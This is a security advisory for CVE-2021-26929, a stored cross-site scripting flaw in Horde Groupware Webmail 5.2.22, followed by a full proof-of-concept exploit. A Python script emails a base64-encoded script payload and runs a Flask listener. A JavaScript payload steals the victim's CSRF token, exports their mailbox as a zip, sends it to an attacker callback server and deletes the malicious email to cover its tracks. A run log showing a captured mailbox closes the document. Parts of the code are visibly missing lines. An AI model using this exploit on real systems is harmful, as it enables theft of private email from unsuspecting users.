[CVE-2021-26929] Horde Groupware Webmail Edition 5.2.22 - Stored XSS in received emails

Discovered 2020-11-16
Author Alex Birnberg
Product Horde Groupware Webmail Edition
Tested versions 5.2.22
CVE CVE 2021-26929


The Horde Groupware webmail application performs in-line linking of URLs and emails in text messages before and after the sanitization process. Two input sanitization vulnerabilities that can be exploited to perform stored cross-site scripting (XSS) attacks have been discovered in how Horde Groupware webmail handles URLs and emails in text messages. A remote attacker can send a specially crafted email containing malicious text and execute arbitrary JavaScript code in the context of the vulnerable web application when the user displays the message. This allows to impersonate the victims and access the webmail features on their behalf.


The issues can be found in /usr/share/php/Horde/Text/Filter/Text2html.php in the preProcess method of the Horde_Text_Filter_Text2html class. The method first looks for URLs and emails within the message and then replaces them with their base64 encoded value surrounded by a specific sentinel (“\x00\x00\x00” in the case of URLs, and “\x01\x01\x01” in the case of emails). This operation is likely performed to escape the htmlspecialchars call on the message that can be seen at [1].

$text2 = @htmlspecialchars($text, ENT_COMPAT, $this->_params['charset']); // 1
// ...
$text = $text2;
/* Do in-lining of http://xxx.xxx to link, [email protected] to email. */
if ($this->_params['parselevel'] < self::NOHTML) {
  $text = Horde_Text_Filter_Linkurls::decode($text); // 2 
  if ($this->_params['parselevel'] < self::MICRO_LINKURL) {
    $text = Horde_Text_Filter_Emails::decode($text); // 3 
  if ($this->_params['space2html']) {
    $params = reset($this->_params['space2html']); $driver = key($this->_params['space2html']);
  } else {
    $driver = 'space2html'; $params = array();
  $text = Horde_Text_Filter::filter($text, $driver, $params); 

Stored XSS via in-line URLs

At [2] it can be seen that the decode method of the Horde_Text_Filter_Linkurls class is called with the message as the first parameter. The relevant code can be seen below:

public static function decode($text)
  return preg_replace_callback(
    function($hex) {
      return base64_decode($hex[1]); 

As it can be seen above the method searches and replaces any instance of base64 values surrounded by the “\x00\x00\x00” sentinel with it’s base64 decoded value. Such functionality can be used to decode arbitrary base64 within the message, bypassing htmlspecialchars.

Stored XSS via in-line emails

A similar issue also affects emails found within a message. At [3] it can be seen that the decode method of the Horde_Text_Filter_Emails class with the message as the first parameter. The relevant code can be seen below:

public static function decode($text) 
  return preg_replace_callback(
    function($hex) {
      return base64_decode($hex[1]);

As it can be seen above, almost the exact code is used to for in-line emails, as for in-line URLs, with the exception that in this case the sentinel is “\x01\x01\x01”.


#!/usr/bin/env python3
import io
import os
import ssl
import sys
import json
import base64
import string
import random
import logging
import smtplib
import sqlite3
import hashlib
import zipfile
import argparse
from flask import Flask, request, Response
from urllib.parse import urlparse

class Exploit:
    def __init__(self, args):
        # Database
        if not os.path.exists('database.db'):
            with sqlite3.connect("database.db") as conn:
                cursor = conn.cursor()
                cursor.execute('CREATE TABLE mailbox (hash TEXT NOT NULL UNIQUE, content BLOB NOT NULL);')
        # SMTP URL
        o = urlparse(args.smtp)
        self.smtp = {
            'ssl': o.scheme.lower() == 'smtps',
            'host': o.hostname or '',
            'port': o.port or ('465' if o.scheme.lower() == 'smtps' else '25'),
            'username': '' or o.username,
            'password': '' or o.password
            if self.smtp['ssl']:
                context = ssl.create_default_context()
                context.verify_mode = ssl.CERT_OPTIONAL 
                context.check_hostname = False
                self.server = smtplib.SMTP_SSL(self.smtp['host'], self.smtp['port'], context=context)
                self.server = smtplib.SMTP(self.smtp['host'], self.smtp['port'])
        except Exception as e:
            print('[-] Error connecting to SMTP server!')
            self.server.login(self.smtp['username'], self.smtp['password'])
        # Callback URL
        o = urlparse(args.callback)
        self.callback = {
            'url': '{}://{}'.format(o.scheme, o.netloc),
            'path': ''.join(random.choice(string.ascii_letters) for i in range(20))
        # Listener URL
        o = urlparse(args.listener)
        self.listener = {
            'ssl': o.scheme.lower() == 'https',
            'host': o.hostname or '',
            'port': o.port or 80,
            'horde': ''.join(random.choice(string.ascii_letters) for i in range(20))
        # Target email
        self.target = args.target
        # Subject
        self.subject = args.subject or 'Important Message'
        # Environment
        self.env = {}
        self.env['mailbox'] = args.mailbox or 'INBOX'
        self.env['callback'] = '{}/{}'.format(self.callback['url'], self.callback['path'])
    def trigger(self):
        print('[*] Waiting for emails...')
        print('\n[*] Done')

    def bypass_auth(self):
        def horde():
            f = open('horde.js')
            content = 'env = {};\n\n{}'.format(json.dumps(self.env), f.read())
            return content

        def callback():
            response = Response('')
            with sqlite3.connect("database.db") as conn:
                    if request.files.get('mbox'):
                        filename = request.files.get('mbox').filename.replace('zip', 'mbox')
                        content = request.files.get('mbox').stream.read()
                        zipdata = io.BytesIO()
                        content = zipfile.ZipFile(zipdata)
                        content = content.open(filename).read()
                        mail_hash =  hashlib.sha1(content).digest().hex()
                        print('[+] Received mailbox ({})'.format(mail_hash))                        
                        cursor = conn.cursor()                    
                        cursor.execute('INSERT INTO mailbox (hash, content) VALUES (?, ?)', (mail_hash, content))
            response.headers['Access-Control-Allow-Origin'] = '*'
            return response

        payload = 'var s=document.createElement("script");s.type="text/javascript";s.src="{}/{}";document.head.append(s);'.format(self.callback['url'], self.listener['horde'])
        payload = '<script>eval(atob("{}"))</script>'.format(base64.b64encode(payload.encode('latin-1')).decode('latin-1'))
        content = 'Subject: {}\nFrom: {}\nTo: {}\n'.format(self.subject, self.smtp['username'], self.target)
        content += 'X\x00\x00\x00{}\x00\x00\x00X'.format(base64.b64encode(payload.encode('latin-1')).decode('latin-1'))
        self.server.sendmail(self.smtp['username'], self.target, content)
        app = Flask(__name__)
        app.add_url_rule('/{}'.format(self.listener['horde']), 'horde', horde)
        app.add_url_rule('/{}'.format(self.callback['path']), 'callback', callback, methods=['POST'])
        cli = sys.modules['flask.cli']
        cli.show_server_banner = lambda *x: None
            if self.listener['ssl']:
                app.run(host=self.listener['host'], port=self.listener['port'], ssl_context=('cert.pem', 'key.pem'))
                app.run(host=self.listener['host'], port=self.listener['port'])

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('--smtp', help='SMTP URL', required=True, metavar='URL')
    parser.add_argument('--callback', help='Callback URL', required=True, metavar='URL')
    parser.add_argument('--listener', help='Listener URL', metavar='URL')
    parser.add_argument('--target', help='Target email', required=True, metavar='EMAIL')
    parser.add_argument('--subject', help='Email subject', metavar='SUBJECT')
    parser.add_argument('--mailbox', help='Mailbox from which to steal the emails', metavar='INBOX')
    args = parser.parse_args()
    exploit = Exploit(args)


class Exploit {
    constructor() {
        this.basepath = document.location.pathname.substring(0, document.location.pathname.indexOf('imp'));

    trigger() {
        this.mailbox = this.get_mailbox();
        this.buid = this.get_buid();
        this.token = this.get_token();
        .then(() => {
            this.exfiltrate_emails({mailbox: env.mailbox});

    async auto_delete() {
        let params = new URLSearchParams()
        params.append('token', this.token);
        params.append('view', this.mailbox);
        params.append('buid', this.buid);
        return fetch(this.basepath + 'services/ajax.php/imp/deleteMessages', {
            method: 'POST',
            body: params
        .then(() => {
            let params = new URLSearchParams();
            params.append('token', this.token);
            params.append('view', this.mailbox);
            return fetch(this.basepath + 'services/ajax.php/imp/purgeDeleted', {
                method: 'POST',
                body: params
            .then(() => {
                if (document.getElementById('checkmaillink') !== null) {

    async exfiltrate_emails(args) {
        let mbox_list = '["' + this.get_mailbox() + '"]';
        if (args.mailbox.toUpperCase() != 'INBOX') {
            let params = new URLSearchParams();
            params.append('reload', '1');
            params.append('unsub', '1');
            params.append('token', this.token);
            let mailboxes = await fetch(this.basepath + 'services/ajax.php/imp/listMailboxes', {
                method: 'POST',
                body: params
            .then(response => {
                return response.text();
            .then(data => {
                return JSON.parse(data.substring(10, data.length - 2));       
            mailboxes.tasks['imp:mailbox'].a.forEach(mailbox => {
                if (mailbox.l.toUpperCase() == args.mailbox) {
                    if (mbox_list === undefined) {
                        mbox_list = '["' + mailbox.m + '"]';
        let zip = await fetch(this.basepath + 'services/download/?app=imp&actionID=download_mbox&mbox_list=' + mbox_list + '&type=mboxzip&token=' + this.token + '&fn=/')
        .then(response => {
            return [response.blob(), response.headers.get('Content-Disposition')];
        let filename = zip[1];
        filename = filename.substring(filename.indexOf('filename="') + 10, filename.length - 1);
        zip = await zip[0];
        let formData = new FormData();
        formData.append('mbox', zip, filename);
        fetch(window.env.callback, {
            method: 'POST',
            body: formData

    get_token() {
        let link;
        let token;
        if (document.getElementsByClassName('smartmobile-logout').length > 0) {
            link = document.getElementsByClassName('smartmobile-logout')[0].href;
        else if (document.getElementById('horde-logout') !== null) {
            link = document.getElementById('horde-logout').getElementsByTagName('a')[0].href;
        else {
            link = location.href;
        if (link.match('horde_logout_token=(.*)&') !== null) {
            token = link.match('horde_logout_token=(.*)&')[1];
        if (token === undefined && link.match('token=(.*)&') !== null) {
            token = link.match('token=(.*)&')[1];
        return token;

    get_mailbox() {
        if (window.DimpBase !== undefined) {
            return DimpBase.viewport.getSelection(DimpBase.pp.VP_view).search({
                VP_id: {
                    equal: [ DimpBase.pp.VP_id ]
        else if (location.href.match('mailbox=([A-Za-z0-9]*)') !== null) {
            return location.href.match('mailbox=([A-Za-z0-9]*)')[1];
        else if (location.href.match('mbox=([A-Za-z0-9]*)') !== null) {
            return location.href.match('mbox=([A-Za-z0-9]*)')[1];

    get_buid() {
        if (location.href.match('buid=([0-9]*)') !== null) {
            return location.href.match('buid=([0-9]*)')[1];
        else if (location.href.match(';([0-9]*)') !== null) {
            return location.href.match(';([0-9]*)')[1];

const exploit = new Exploit();


The exploit provided is designed to target an individual mailbox. When the malicious email is clicked the exploit is triggered, exfiltrating the desired mailbox and deleting itself once the exfiltration is done. Note that the only user interaction needed is for the target to click the malicious email, and also, the vulnerability can be triggered without HTML content being enabled as it is located it the text content functionality. Below a successful run of the exploit can be observed. Note that user credentials are not required for the exploit to work, and in this case the same user and mail server were used to avoid any additional complications. The callback represents the server from which the exploit will be loaded and executed, in this case localhost.

$ ./exploit.py --smtp smtp://[email protected]:[email protected] --callback --target [email protected]
[*] Waiting for emails...
[+] Received mailbox (67af6a77e6b96829c2cbc6ad14bf5af508367867)
[*] Done
$ sqlite3 database.db
SQLite version 3.32.3 2020-06-18 14:16:19
Enter ".help" for usage hints.
sqlite> select * from mailbox;
67af6a77e6b96829c2cbc6ad14bf5af508367867|From [email protected] Wed Nov 25 12:14:28 2020 Return-path: <[email protected]>
Envelope-to: [email protected]
Delivery-date: Wed, 25 Nov 2020 12:14:28 -0500
Received: from www-data by debian with local (Exim 4.92)
(envelope-from <[email protected]>)
id 1khyNA-0000ON-E5
for [email protected]; Wed, 25 Nov 2020 12:14:28 -0500
Received: from [] ([]) by horde.local (Horde Framework) with HTTP; Wed, 25 Nov 2020 17:14:28 +0000
Date: Wed, 25 Nov 2020 17:14:28 +0000
Message-ID: <[email protected]> From: [email protected]
To: [email protected]
Subject: Test email
User-Agent: Horde Application Framework 5
Content-Type: multipart/alternative; boundary="=_tg6EPuROEoVxyLRA9drJN_j" MIME-Version: 1.0
This message is in MIME format. sqlite>